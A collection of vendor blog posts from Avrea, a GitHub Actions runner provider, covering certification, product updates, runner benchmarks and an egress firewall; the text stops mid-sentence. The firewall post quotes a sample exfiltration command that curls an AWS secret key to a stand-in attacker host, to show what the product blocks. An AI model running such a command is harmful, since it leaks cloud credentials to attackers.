Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/avrea-iso-27001-certified # Avrea is ISO 27001:2022 certified In early 2026, Avrea received its ISO 27001:2022 certification. Here's what that means for the infrastructure that runs your CI. [Blog](https://avrea.com/blog) Company In early 2026, Avrea received its ISO 27001:2022 certification. Here's what that means for the infrastructure that runs your CI. [Jeppe Tiensuu](https://avrea.com/team/jeppe-tiensuu)13 May 2026 What that actually means when we run your code. In early 2026, Avrea Ltd received its ISO 27001:2022 certification. The certification covers everything we do. You can find the certificate, scope, and details about the certification body on our [Trust page](https://avrea.com/trust-security) and verify it independently through [IAFCertSearch](https://www.iafcertsearch.org/). Avrea is a [drop-in replacement for GitHub Actions runners](https://avrea.com/ci-runners), so this certification isn’t just about internal processes. It applies directly to the infrastructure that runs your code. ## Why CI security is different Most security practices focus on protecting stored data and controlling access to it. CI is a bit different because we’re not just storing your data. We’re running your code on our hardware. That changes the problem. Encrypting data at rest doesn’t solve much if the environment running the code isn’t secure. What really matters is the runner itself: it should start clean, run a single job, and then disappear. Every Avrea job runs in a fresh VM, which is destroyed when the job finishes. Build caches and optional [persistent disks](https://docs.avrea.com/persistent-disks/) are stored separately and can supply files to later jobs. A job gets a private copy of its repository’s persistent disk; only configured writer branches can publish changes for subsequent jobs. It’s built this way not because we needed to pass an audit, but because running other people’s code safely demands it. The ISO certification is just independent confirmation that the surrounding controls, like access management, change tracking, supplier reviews, and incident response, are solid. ## How we got certified in six months ISO 27001 projects usually take 9–12 months. We completed ours in about six months. The main reason is simple. We didn’t have to bolt security on afterward. Most of the required practices were already part of how we build and operate. Code is automatically scanned. New features go through a security check before release. Access is tightly scoped by default. Pull requests need to pass required checks before merging. Alerts go directly to the people responsible for the systems. We follow these practices because they’re the right way to run infrastructure that executes customer code. The audit simply verified that everything was already in place. Starting from scratch also helped. Without legacy systems, we didn’t have to untangle old habits. Instead, we could design workflows correctly from day one. We used compliance tools for the repetitive parts like evidence collection and control monitoring, which let us focus on the areas that actually require judgment. ## If you’re considering Avrea Using a CI provider means trusting them with your source code and secrets on every run. You should be able to verify how that’s handled. We’d expect the same. That’s why we make everything public: the certificate, scope, and control documentation are all available on our [Trust page](https://avrea.com/trust-security). For most security teams, ISO 27001:2022 answers a large part of the typical vendor review questions. ## See how the runners perform The certification applies to the same infrastructure our benchmarks run on. Here’s what it looks like in practice: - [Linux kernel builds 68x faster](https://avrea.com/blog/linux-kernel-ci-benchmark) on Avrea than GitHub Actions - [Next.js builds 142x faster](https://avrea.com/blog/nextjs-turborepo-ci-benchmark) with Turborepo cache on Avrea - [Bazel builds 39.7x faster](https://avrea.com/blog/bazel-ci-benchmark) with remote cache on Avrea ## This isn’t the finish line ISO 27001 involves annual audits and a full recertification every three years. But attackers don’t follow audit schedules. For us, security isn’t a checklist. It’s part of how we build and operate Avrea. Running customer code means continuously reviewing risks, tightening controls, and improving how we handle code and secrets. [See pricing](https://avrea.com/pricing) or [start free on Avrea →](https://console.avrea.com) ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/avrea-product-update-october-2026 # Avrea product update, October 2026 Runner right-sizing, persistent disks, Linux runners with half the memory, a run graph and more cached downloads: what shipped in Avrea in October 2026. [Blog](https://avrea.com/blog) Product Updates Runner right-sizing, persistent disks, Linux runners with half the memory, a run graph and more cached downloads: what shipped in Avrea in October 2026. [Tatu Mäkijärvi](https://avrea.com/team/tatu-makijarvi)4 November 2026 Here's what we shipped in October: runner right-sizing, persistent disks on Linux, macOS and Windows, two Linux runner sizes with half the memory, a run graph for workflow runs, and more downloads served from the cache beside your runners. ## Runner right-sizing Avrea now checks each job against the CPU, memory and disk its recent successful runs used. When a runner is too big or too small, job and run pages say so and name a label when a suitable size is available. To see a whole workflow at once, choose Right-size in your repository’s Workflows tab, where you can also copy a ready-made prompt for your coding assistant to update the `runs-on` labels. It’s on for every organization. [Announcement](https://avrea.com/blog/runner-right-sizing) · [How it works](https://docs.avrea.com/right-sizing/) ## Persistent disks A persistent disk keeps files between jobs of one repository, on Linux, macOS and Windows. It’s for state our package and build caches don’t cover, such as a custom tool that only knows how to cache to a directory. Each job gets its own copy of the disk. By default, jobs on your default branch publish their changes to it, while pull requests and other branches start from the published disk and their changes are discarded when the job ends. Persistent disks are a paid feature, billed per provisioned GB for as long as the disk exists. You can turn one on in a repository’s settings. [Announcement](https://avrea.com/blog/persistent-disks) · [Setup and pricing](https://docs.avrea.com/persistent-disks/) ## Linux runners with half the memory Two new Linux sizes, 4 vCPU / 8 GB and 8 vCPU / 16 GB, keep the cores of the 4 and 8 vCPU runners with half the memory, at a lower per-minute rate. If a job needs the cores but not the RAM, choose one per job with a label such as `avrea-ubuntu-latest-4-vcpu-8gb`. The new sizes are available on x86 and ARM. [Runner labels](https://docs.avrea.com/runners/) ## Run graph In the Avrea console, open a GitHub Actions workflow run and expand Run graph to see its jobs in the order they depended on each other, so the job everything else was waiting for is easy to spot. Each job shows its status and how long it took, and selecting one opens its steps and logs. You can also scrub a timeline to see what was queued, running or finished at any moment. [Changelog entry](https://docs.avrea.com/changelog/#workflow-run-graph) ## More downloads from the cache Homebrew bottles, mise tool downloads and GitHub release assets can now come from the cache beside your runners, and your install commands stay the same. Checksum and signature verification stay on. All three are off by default, and you can turn them on per organization or repository in Settings. Homebrew and mise also need the Package Manager Cache. Electron, Cypress and Selenium downloads now come from the same cache on Linux, macOS and Windows. They’re on by default, you install them the way you already do, and each has its own switch in Settings. [Homebrew](https://docs.avrea.com/cache/packages/homebrew/) · [mise](https://docs.avrea.com/cache/packages/mise/) · [GitHub release assets](https://docs.avrea.com/cache/packages/github-release-assets/) · [Electron](https://docs.avrea.com/cache/packages/electron/) · [Cypress](https://docs.avrea.com/cache/packages/cypress/) · [Selenium](https://docs.avrea.com/cache/packages/selenium/) ## Fastest in RunsOn’s benchmark Avrea is the fastest GitHub Actions runner in RunsOn’s benchmark, 163% faster than GitHub. [Read the results](https://avrea.com/blog/avrea-runson-build-benchmark) Everything that shipped is in the [changelog](https://docs.avrea.com/changelog/). ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read - 27 Oct 2026 Warm builds. Introducing Avrea persistent disks Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/avrea-runson-build-benchmark # Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Avrea leads RunsOn's 4-vCPU x64 build benchmark, completing Rust, TypeScript and Docker workloads 163% faster than GitHub. See all provider results. [Blog](https://avrea.com/blog) CI/CD Avrea leads RunsOn's 4-vCPU x64 build benchmark, completing Rust, TypeScript and Docker workloads 163% faster than GitHub. See all provider results. [Hannu Valtonen](https://avrea.com/team/hannu-valtonen)3 November 2026 In [RunsOn's four-vCPU x64 benchmark](https://runs-on.com/benchmarks/runners/), Avrea completed the Rust, TypeScript and Docker workloads in 6m58s. GitHub took 18m18s, so Avrea was 163% faster across the three builds. A lot of work went into those six minutes and fifty-eight seconds, and we’re proud of our team that made it happen. Avrea runs your GitHub Actions jobs in virtual machines on dedicated hardware. Package and build caches sit alongside the runners, and your workflows stay in GitHub Actions. ## The full benchmark results RunsOn tests three public projects with build caching turned off: a [PostHog](https://github.com/PostHog/posthog) Docker build, [opencode](https://github.com/anomalyco/opencode)’s TypeScript checks and [spotify-player](https://github.com/aome510/spotify-player)’s Rust tests. The ranking adds the median build times for all three. The table shows each provider’s fastest complete configuration in the four-vCPU x64 category. 4 vCPU · x64 · 9 providers · [View all configurations on RunsOn ↗](https://runs-on.com/benchmarks/runners/) | RunnerWorkspace · CPU | Cost for all buildsUSD ↓ | Time for all builds↓ Lower is faster | Builds, wall time | CPU | Workspace disk | Net & cache | DB | Queue & price | | | | | | | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | | Rust↓ | TypeScript↓ | Docker↓ | 1 threadPassMark ↑ | Rand writeIOPS ↑ | QD1 readIOPS ↑ | GitHub DLMiB/s ↑ | Cache restore4 GB ↓ | pgbenchTPS ↑ | QueueBurst ↓ | PriceUSD/min ↓ | | | | | [Avrea](https://runs-on.com/benchmarks/runners/avrea/) | Dedicated hardware · OVH (FR) | | | | | | | | | | | | | | [4 vCPU](https://runs-on.com/benchmarks/runners/avrea/#avrea-x64)4 vCPU · 16 GB · VM disk EPYC 4585PX | $0.0625 | 6m 58s | 1m 26s$0.0127 | 40s$0.0070 | 4m 52s$0.0428 | 4,568 | 172k | 50k | 167 | 11s | 9.3k | 11sp90 10m 10s | $0.0080 | | Namespace | Namespace Labs (US) | | | | | | | | | | | | | | 4x164 vCPU · 16 GB · VM disk EPYC · model hidden | $0.0904 | 7m 01s | 1m 31s$0.0194 | 50s$0.0122 | 4m 40s$0.0588 | 4,627 | 560k | 105k | 219 | 18s | 13k | 10sp90 7m 00s | $0.0120* | | RunsOn | EC2 spot rates; on-demand rate shown as OD | | | | | | | | | | | | | | r8a.xlarge4 vCPU · 32 GB · tmpfs EPYC 9R45 | $0.0182 | 7m 38s | 1m 51s$0.0043 | 50s$0.0025 | 4m 57s$0.0115 | 3,825 | 3.8M | 1.1M | 188 | 5s | 21k | 16sp90 19s | $0.0019OD $0.0056 | | StarSling | Latitude.sh / AWS · US | | | | | | | | | | | | | | 4 vCPU4 vCPU · 16 GB · VM disk Xeon · model hidden +3 | $0.0683 | 7m 50s | 1m 32s$0.0131 | 47s$0.0078 | 5m 31s$0.0475 | 3,296 | 68k | 30k | 180 | 21s | 11k | 9sp90 13m 50s | $0.0080 | | Blacksmith | Bare metal · Phoenix, AZ | | | | | | | | | | | | | | 4 vCPU4 vCPU · 16 GB · VM disk EPYC · model hidden | $0.0747 | 8m 06s | 1m 40s$0.0148 | 1m 25s$0.0163 | 5m 01s$0.0436 | 4,297 | 218k | 71k | 83 | 12s | 13k | 10sp90 13s | $0.0080 | | Warpbuild | WarpBuild / AWS / MacStadium · US | | | | | | | | | | | | | | 4 vCPU4 vCPU · 16 GB · VM disk Ryzen 9 9950X +2 | $0.0908 | 10m 43s | 2m 09s$0.0180 | 1m 07s$0.0108 | 7m 27s$0.0620 | 4,286 | 71k | 30k | 113 | 24s | 3.2k | 21sp90 13m 29s | $0.0080 | | Ubicloud | Hetzner / Leaseweb · Germany | | | | | | | | | | | | | | standard 4 vCPU4 vCPU · 16 GB · VM disk EPYC 9454P +3 | $0.0398 | 14m 31s | 2m 19s$0.0064 | 1m 35s$0.0047 | 10m 37s$0.0288 | 2,897 | 27k | 9.0k | 46 | 1m 10s | 2.0k | 40sp90 19m 44s | $0.0025 | | [GitHub](https://runs-on.com/benchmarks/runners/github/) | Azure · US, CA, MX | | | | | | | | | | | | | | [4-core](https://runs-on.com/benchmarks/runners/github/#github-x64)4 vCPU · 16 GB · network disk EPYC 7763 +5 | $0.2612 | 18m 18s | 3m 33s$0.0446 | 1m 52s$0.0290 | 12m 53s$0.1876 | 3,398 | 10k | 7.2k | 100 | 44s | 5.0k | 3sp90 5s | $0.0120 | | AWS CodeBuild | The TypeScript test failed; the Docker workload was not run. | | | | | | | | | | | | | | medium4 vCPU · 8 GB · EBS Xeon 8488C +1 | Not available | Not available | 3m 32s$0.0380 | [Out of memory](https://github.com/runs-on-demo/benchmark-public/actions/runs/41770952429/job/126380314295) | Not run | 3,004 | 3.0k | 1.8k | 233 | 36s | Not measured | 21sp90 16m 12s | $0.0100 | Source: [RunsOn’s runner benchmark](https://runs-on.com/benchmarks/runners/), with x64, 4 vCPU and Time selected. AWS CodeBuild has no complete result. Build costs appear below each workload’s time. RunsOn calculates them from full job duration and the applicable per-minute rate. Its own rows use EC2 spot rates; OD is the on-demand rate. *Namespace uses its overage rate. Queue results show the median, with p90 below. RunsOn publishes the [methodology](https://runs-on.com/benchmarks/methodology/), [benchmark code and job logs](https://github.com/runs-on-demo/benchmark-public), so you can inspect how each workload was run. RunsOn estimates a total cost of $0.0625 on Avrea and $0.2612 on GitHub for the three builds. Avrea is 76% cheaper in this test. Avrea charges $0.008 a minute for this runner and GitHub $0.012. [Try Avrea free](https://console.avrea.com/?utm_source=avrea-blog&utm_medium=blog&utm_campaign=runson-benchmark&utm_content=table-button) ## Eight minutes off a production Docker build The PostHog Docker workload took 4m52s on Avrea and 12m53s on GitHub. The job builds PostHog’s frontend and plugin server, installs Python dependencies and assembles the production image. RunsOn uses a fixed revision of PostHog’s Dockerfile and disables the Docker build cache, so every layer is built on each run. Most of the difference came from building the image: 4m25s on Avrea and 12m22s on GitHub. The full workload also includes fetching the source and setting up Buildx. The [Avrea](https://runs-on.com/benchmarks/runners/avrea/#avrea-x64) and [GitHub](https://runs-on.com/benchmarks/runners/github/#github-x64) profiles publish the timings for each phase. ## Faster TypeScript and Rust builds The TypeScript workload runs against opencode. It clones the repository, installs dependencies with Bun and runs the monorepo’s typechecks. Avrea ran the workload 2.8 times as fast as GitHub, 40 seconds against 1m52s. Turborepo’s local and remote task caches are switched off, so each package is typechecked on every run. Concurrency is set to four for all providers. For Rust, RunsOn uses spotify-player, a terminal Spotify client. The job installs system dependencies and the Rust toolchain, checks formatting, runs tests and runs Clippy. The benchmark uses no build cache, so every crate is compiled from scratch. Avrea finished the job in 1m26s and GitHub in 3m33s. ## Your own builds can use the caches For a Turborepo project, the runner environment is [already configured for the remote cache](https://docs.avrea.com/cache/build-cache/turborepo/), so tasks whose inputs haven’t changed are restored instead of run again. Rust, C and C++ builds can use [sccache](https://docs.avrea.com/cache/build-cache/sccache/). The backend is already configured on Avrea runners: install sccache and set `RUSTC_WRAPPER: sccache`, and crates that haven’t changed come from the cache instead of being compiled again. Dependency downloads use a separate cache. Avrea’s [colocated package cache](https://docs.avrea.com/cache/packages/npm/) supports npm, pnpm, Yarn Classic and Bun. Those package managers are preconfigured on Avrea runners to fetch previously cached packages from storage beside the machines running your jobs. ## Run your next build on Avrea [Sign up for Avrea](https://console.avrea.com/?utm_source=avrea-blog&utm_medium=blog&utm_campaign=runson-benchmark&utm_content=closing-link), install the GitHub App for your repository, and make a copy of a build or test workflow. Then change its runner label to the [Avrea runner size](https://docs.avrea.com/runners/) that fits the workflow. The label for the four-vCPU x64 runner tested here is: ``` runs-on: avrea-ubuntu-latest-4-vcpu ``` Compare both workflows on the same commit, then run the Avrea workflow again to see whether caching shortens the build. Eligible organizations receive a monthly credit equivalent to 3,000 minutes on 2-vCPU Linux x64 runners. Other metered usage draws on the same credit; see the [billing guide](https://docs.avrea.com/billing/). [Try Avrea free](https://console.avrea.com/?utm_source=avrea-blog&utm_medium=blog&utm_campaign=runson-benchmark&utm_content=closing-button) ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 27 Oct 2026 Warm builds. Introducing Avrea persistent disks Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/bazel-ci-benchmark # Benchmark: Bazel builds 39.7x faster on Avrea than GitHub Actions 37m 10s on GitHub Actions. 14m 4s on Avrea without cache. 56 seconds with cache. That's 2.6x from the hardware, 39.7x once caching kicks in. [Blog](https://avrea.com/blog) CI/CD 37m 10s on GitHub Actions. 14m 4s on Avrea without cache. 56 seconds with cache. That's 2.6x from the hardware, 39.7x once caching kicks in. [Leo Lännenmäki](https://avrea.com/team/leo-lannenmaki)21 April 2026 On GitHub Actions, a no-cache Bazel build takes 37 minutes 10 seconds. On Avrea, the same build, same 2 vCPU spec, one label change: 14 minutes 4 seconds without cache, 56 seconds with. ## Why Bazel [Bazel](https://github.com/bazelbuild/bazel) powers CI at [companies running enormous monorepos](https://stripe.dev/blog/fast-secure-builds-choose-two): tens of thousands of source files, multiple languages, aggressive caching. Supporting Bazel’s [remote cache](https://bazel.build/remote/caching#http-caching), and making it fast, was high on our list. ## How we ran the test Built Bazel from source, with Bazel’s remote cache enabled on the cached run. Both sides matched on paper: | | GitHub Actions | Avrea | | --- | --- | --- | | Runner label | `ubuntu-24.04` | `avrea-ubuntu-latest-2-vcpu` | | vCPU | 2 | 2 | | RAM | 7.8Gi | 7.8Gi | For the cached run, Bazel’s `--remote_cache` flag pointed at Avrea’s co-located cache, populated on a prior warm-up run and then read from. On the GitHub side there’s no comparable cache built in. Variance on Avrea was small: a few seconds on the cached runs. GitHub Actions was noisier. ## Results | | GitHub Actions | Avrea | Speedup | | --- | --- | --- | --- | | **No cache** | 37m 10s | 14m 4s | **2.6x** | | **With cache** | n/a | **56.1s** | **39.7x** | Without caching, Avrea comes out 2.6x faster. With Bazel’s remote cache pointed at Avrea’s [Bazel remote cache endpoint](https://docs.avrea.com/cache/build-cache/bazel/), a warm build finishes in 56 seconds. ## Why it’s faster ### The hardware (the 2.6x) A no-cache Bazel build is CPU-bound and disk-heavy. Compiler passes pin a single core. The build also churns through a big pile of intermediate object files. Avrea’s 2 vCPU runner is the same size as GitHub’s on paper, but the hardware underneath is different. Sysbench single-core: ~6,500 events/sec vs GitHub’s ~3,670. Disk writes: ~4 GB/s vs ~220 MB/s. That’s the 2.6x, before any caching gets involved. ### The cache (the 39.7x) Bazel’s remote cache stores every action’s output (compiled objects, linked binaries, test results), keyed by input hash. On a cached run, if the inputs haven’t changed, Bazel reads the output back and skips the work. Avrea’s cache runs on the same infrastructure as the runners, so reads come straight off co-located storage. That reduces the usual network-path bottlenecks. On a fully-warm cache, what’s left of the build is mostly Bazel walking the action graph and pulling outputs out of storage. ## Other benchmarks in this series - [Linux kernel](https://avrea.com/blog/linux-kernel-ci-benchmark) (68x) - [Ghostty](https://avrea.com/blog/ghostty-nix-ci-benchmark) (27x) - [Kafka](https://avrea.com/blog/kafka-gradle-ci-benchmark) (6.6x) - [Next.js](https://avrea.com/blog/nextjs-turborepo-ci-benchmark) (142x) - [RisingWave](https://avrea.com/blog/risingwave-sccache-ci-benchmark) (11.5x) ## What Avrea is Avrea is [drop-in for GitHub Actions runners](https://avrea.com/ci-runners). Swap `ubuntu-latest` for `avrea-ubuntu-latest` and push. Every run gets [step-level CPU and memory metrics](https://avrea.com/observability), searchable logs, and SSH into the live VM when you need to reproduce something. That last one matters with Bazel specifically: when a build wedges in a deep action graph, you want to poke at it, not rerun blind. Every job runs in an isolated ephemeral VM. [ISO 27001:2022 certified](https://avrea.com/blog/avrea-iso-27001-certified). [See pricing](https://avrea.com/pricing) or [start free on Avrea →](https://console.avrea.com) ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/egress-firewall-defense-in-depth # Your CI is the new attack surface: lock down what it can reach Avrea's per-repository egress firewall and per-run statistics make data and secret exfiltration much harder, and record where every build connected. [Blog](https://avrea.com/blog) Product Updates Avrea's per-repository egress firewall plus per-run statistics make data and secret exfiltration much harder, and give you a record of exactly where every build connected. [Hannu Valtonen](https://avrea.com/team/hannu-valtonen)2 July 2026 Many of the most valuable secrets in your company pass through CI. Cloud credentials, signing keys, registry tokens, deploy keys, source code for every repository you own, all of it shows up. The runner spends much of its lifetime executing third-party dependency code you didn't write and can't fully audit. #### The threat moved into your dependency tree The last two years have made one thing clear: the easiest way into a company is no longer the front door. It’s a package. A compromised `npm` postinstall script. A typo-squatted PyPI wheel. A maintainer account phished, a popular library backdoored, a malicious update shipped to everyone who runs `npm install` before the next coffee. By the time the advisory lands, the package has already run with full network access on thousands of CI runners. Once attacker-controlled code is executing in your build, it has everything it needs except for a way to get the loot out. Stolen credentials and source code are worthless to an attacker sitting inside your runner. The exfiltration step is where the attack either succeeds or fails: the `curl` to a pastebin, the DNS tunnel to an attacker-controlled domain, the POST to a webhook. #### Decide what your build is allowed to talk to Avrea’s Enterprise egress firewall lets you set outbound rules per organization or repository, by CIDR or hostname, with protocol and port filters. The default is **allow-by-default**; **deny-by-default** restricts traffic to your allow list and Avrea’s required service exceptions. Required service connections to GitHub endpoints, Avrea cache services and `*.blob.core.windows.net` remain allowed under `DENY *`. Avrea also allows `packages.microsoft.com`, which its Ubuntu images contact during package updates. The Azure Blob exception covers all Azure storage accounts, not just GitHub’s, so deny-by-default does not prevent every possible exfiltration path. The [firewall documentation](https://docs.avrea.com/egress-firewall/) lists the exceptions and enforcement rules. Two properties make this worth trusting rather than a checkbox: - **It’s enforced on both the IP plane and the DNS plane.** Rules are applied with `nftables` on Linux and `pf` on macOS, and through Avrea’s own DNS resolver. Under `DENY *`, hostname rules restrict connections to addresses returned by Avrea’s resolver for allowed names, subject to the service exceptions above. Under `ALLOW *`, a hostname-only deny rule blocks DNS resolution; use a CIDR deny rule when direct connections to an IP address must also be blocked. Blocked traffic is dropped, not quietly allowed to succeed: the connection simply fails. - **The guardrails can’t be disabled from inside the build.** Even a policy that ends in `ALLOW *` can’t reach the cloud metadata service (a favorite credential-theft target), can’t talk to other VMs, and can’t open an SMTP connection to spam or exfiltrate. Those safety rules sit underneath your policy and aren’t bypassable by anything running in the job, including code that’s actively trying. So when a backdoored dependency runs: ``` curl https://evil.example/$AWS_SECRET_ACCESS_KEY ``` the request is blocked if the destination is denied by the active policy. That closes this path for exfiltration; allowed destinations and the service exceptions still need to be accounted for. #### See exactly where every build connected A firewall you can’t observe is a firewall you can’t trust. So Avrea captures network statistics for every run and turns them into a per-run summary you can actually read. For each VM that ran your build, you get: - **Top egress destinations**, with IPs enriched back into the domains they belong to, and the bytes sent to each. - **Total egress** and flow counts, and protocol breakdown, so an unusual spike in outbound bytes is something you can see. - **Blocked by firewall (IP)**: every destination your policy denied, with the rule that denied it and how many packets it stopped. - **Denied DNS lookups (NXDOMAIN)**: every domain a build tried to resolve and wasn’t allowed to. This is your early-warning system: a build suddenly asking for a domain nobody recognizes is exactly the signal you want surfaced. The flow summaries are available in the jobs view on the console. You no longer have to take “the build only talks to the registry” on faith; you can just open last night’s run and check. This also turns out to be the easiest way to write a tight policy. Run in allow-by-default first, watch where your builds actually connect for a week, then ratchet down to deny-by-default with the real destination list in hand. No guessing, no broken builds. #### One layer of defense, not the whole wall We want to be clear about what this is: the egress firewall is one layer in a defense-in-depth setup, not a silver bullet. It sits alongside per-repository cache isolation, encrypted-in-transit and at-rest cache data, OAuth-only access with no stored passwords, hosts continuously scanned against hardening controls, and the ISO 27001:2022 and SOC 2 Type 2 work underneath all of it. No single control can stop every attack. The point of defense in depth is that you assume any one layer can fail and make sure the next one is still standing. Dependency scanning might miss a zero-day package. A reviewer might wave through a poisoned update. A secret might end up somewhere it shouldn’t. Egress control is the layer that assumes the code in your build has already gone bad but tackles the problem with the idea to block it from actually exfiltrating anything. See the [Security](https://docs.avrea.com/security/) page for the full picture of how Avrea protects your builds, or reach us at [security@avrea.com](mailto:security@avrea.com). ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/fastest-arm-github-actions-runners # Avrea is the fastest ARM runner for GitHub Actions: 2026 benchmark RunsOn's public benchmark of 36 arm64 GitHub Actions runners from seven providers: Avrea's M5 Max runners finished first at 2, 4 and 8 vCPU. [Blog](https://avrea.com/blog) CI/CD RunsOn's public benchmark of 36 arm64 GitHub Actions runners from seven providers: Avrea's M5 Max runners finished first at 2, 4 and 8 vCPU. [Tatu Mäkijärvi](https://avrea.com/team/tatu-makijarvi)23 October 2026 Avrea leads the 2, 4 and 8 vCPU ARM Rust results in [RunsOn's November 2, 2026 benchmark](https://runs-on.com/benchmarks/runners/). Among 36 arm64 runners from seven providers, Avrea's Apple M5 Max runners finished first at those three sizes: 116 seconds at 2 vCPU, 76 at 4 and 58 at 8. GitHub's arm64 runners took 316 and 196 seconds at 2 and 4 vCPU. | Runner | 2 vCPU / 8 GB | 4 vCPU / 16 GB | 8 vCPU / 32 GB | | --- | --- | --- | --- | | Avrea, Apple M5 Max | 116 s | 76 s | 58 s | | Namespace, Apple silicon | 126 s | 86 s | | | RunsOn, Graviton5 | 171 s | 106 s | 72 s | | WarpBuild, Neoverse-V2 | 279 s | 182 s | 119 s | | GitHub, Neoverse-N2 | 316 s | 196 s | | | Ubicloud, Neoverse-N1 | 528 s | 331 s | 228 s | | Blacksmith, Ampere-1a | 408 s (6 GB) | 264 s | 179 s | | Namespace, Ampere-1a | 548 s | 332 s | 230 s | Where a provider has several runners with the same CPU and memory allocation, the table shows its fastest Rust result within the hardware family named in the row. Blacksmith’s 2-vCPU runner has 6 GB of memory; the other rows use the memory sizes in the column headings. The selected RunsOn configurations are m9gd instances with local NVMe storage. WarpBuild’s Apple M4 Pro runners, at 6 and 12 vCPU, took 86 and 63 seconds. Against GitHub’s runner of the same CPU and memory size, the build ran 2.7x as fast on Avrea at 2 vCPU and 2.6x at 4 vCPU. At 2 vCPU, the full recorded jobs lasted 125 seconds on Avrea and 326 on GitHub. At list rates, that is an estimated $0.025 on Avrea and $0.030 on GitHub after its whole-minute rounding, before allowances. Standard GitHub-hosted runners are free for public repositories. ## What RunsOn measured RunsOn sells self-hosted GitHub Actions runners for your own AWS account, and it also runs a public benchmark of CI runners. The benchmark covers 93 runner labels from nine providers across its suites. Its build suites run three open-source projects from a cold start every few days, with every job left on GitHub for anyone to read. The Rust job is a cold build of [spotify-player](https://github.com/aome510/spotify-player), a Rust terminal client: checkout, apt packages, toolchain install, `cargo fmt`, `cargo test` and two `cargo clippy` passes, with no cache. The table shows median build-step times from five runs per selected runner between October 22 and November 1, checked November 3, 2026. ## Why the M5 Max is this far ahead A cargo build has a long serial path: crates wait on their dependencies, and much of each compile runs on one core, so the speed of one core lands directly on the wall clock. In [RunsOn’s hardware suite](https://runs-on.com/benchmarks/github-actions-cpu-performance/), Avrea’s M5 Max posted the highest arm64 single-thread score at 5,000 PassMark points on the 2-vCPU runner, against GitHub’s 1,878. At 4 vCPU, the scores were 4,875 and 1,876. Avrea’s 8-vCPU runner completed the cold Rust build in 58 seconds, the fastest arm64 result in this snapshot, including the tested 12-vCPU runner. The same M5 Max chips run Avrea’s macOS runners; the [launch post](https://avrea.com/blog/m5-max-runners-macos-arm-linux-ci-on-apple-silicon) has the sizes for both. ## Run the same job RunsOn’s workflows are public in [runs-on-demo/benchmark-public](https://github.com/runs-on-demo/benchmark-public) and the data is CC BY 4.0, so you can check every number above against the job logs. To run your own ARM job on Avrea, install the GitHub App and change the label: ``` runs-on: avrea-ubuntu-latest-arm-4-vcpu ``` ARM sizes run from 1 to 16 vCPU on Ubuntu 24.04 and 26.04, and the free tier covers about 500 minutes on the 4-vCPU, 16-GB ARM runner, before any other usage draws on the same monthly credit. The [runner labels](https://docs.avrea.com/runners/) and [billing](https://docs.avrea.com/billing/) pages have the full tables. Avrea also leads the [four-vCPU x64 combined build comparison](https://avrea.com/blog/avrea-runson-build-benchmark). Our [fastest GitHub Actions runners guide](https://avrea.com/blog/fastest-github-actions-runners) covers CPU scores and cache transfers alongside those build results. ## Frequently asked questions ### Which ARM runner is fastest for GitHub Actions? In RunsOn’s November 2, 2026 cold Rust build benchmark, Avrea’s Apple M5 Max runners finished first at 2, 4 and 8 vCPU: 116, 76 and 58 seconds, against 316 and 196 seconds on GitHub’s arm64 runners. Avrea also posted the highest arm64 single-thread score in the hardware suite, 5,000 PassMark points. ### How much faster is Avrea than GitHub’s ARM runners? Avrea was 2.7x as fast at 2 vCPU and 2.6x at 4 vCPU on this cold Rust build. The full 2-vCPU jobs give estimated paid-usage costs of $0.025 on Avrea and $0.030 on GitHub, including GitHub’s whole-minute rounding and before allowances. Standard GitHub-hosted runners are free for public repositories. ### How do I run GitHub Actions jobs on Avrea’s ARM runners? Install the Avrea GitHub App and set `runs-on` to `avrea-ubuntu-latest-arm-4-vcpu`, or the 1, 2, 8 or 16 vCPU size. ARM images are Ubuntu 24.04 and 26.04, and the free tier covers about 500 minutes on the 4-vCPU, 16-GB ARM runner before other usage draws on the same monthly credit. Data: [RunsOn GitHub Actions runner benchmarks](https://runs-on.com/benchmarks/runners/), build runs between October 22 and November 1, 2026, checked November 3. Data published under CC BY 4.0. ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/fastest-github-actions-runners # The Fastest GitHub Actions Runners in 2026: CPU Benchmarks Are Half the Story Avrea leads RunsOn's 4-vCPU x64 build benchmark. Compare the latest build, CPU and cache results, with methods and runner sizes. [Blog](https://avrea.com/blog) CI/CD Avrea leads RunsOn's 4-vCPU x64 build benchmark. Compare the latest build, CPU and cache results, with methods and runner sizes. [Tatu 